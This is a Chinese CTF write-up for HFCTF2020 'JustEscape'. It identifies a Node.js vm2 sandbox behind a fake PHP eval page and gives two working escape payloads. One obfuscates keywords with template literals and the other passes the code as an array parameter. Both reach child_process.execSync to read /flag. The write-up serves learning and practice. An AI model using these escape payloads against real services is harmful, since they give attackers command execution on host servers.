HFCTF2020-JustEscape

摘要
nodejs vm2 沙箱逃逸?

run.php:

1
2
3
4
5
6
7
8
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

注意编码 =.=

真的是 PHP 嘛

按照页面访问:

image-20210822185255520

直接拦截……

+这里编码成了%2b

改完编码后:SyntaxError: Unexpected number

查一下报错信息,是js的报错,应该是nodejs

也许也可以改一下url路径看下信息……

error.stack | Node.js API 文档

js中捕获异常堆栈信息—Error.stack

1
Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

vm2 逃逸 poc

关于javascript:nodejs-沙盒逃逸分析

vm2沙箱逃逸分析

node.js 看不太懂欸……

在沙盒环境下通过原型链的形式能获取全局的 Function,并通过它来执行代码?

通过js神奇的拼接套poc🤣

1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

或者……当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制:

1
2
3
4
5
6
7
8
?code[]=(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
})();
image-20210822195916591

https://blog.csdn.net/sopromeo/article/details/108629520

学习NODE.JS VM2 SANDBOX ESCAPSE

作者

inanb

发布于

2021-08-22

更新于

2021-08-23

许可协议


:D 一言句子获取中...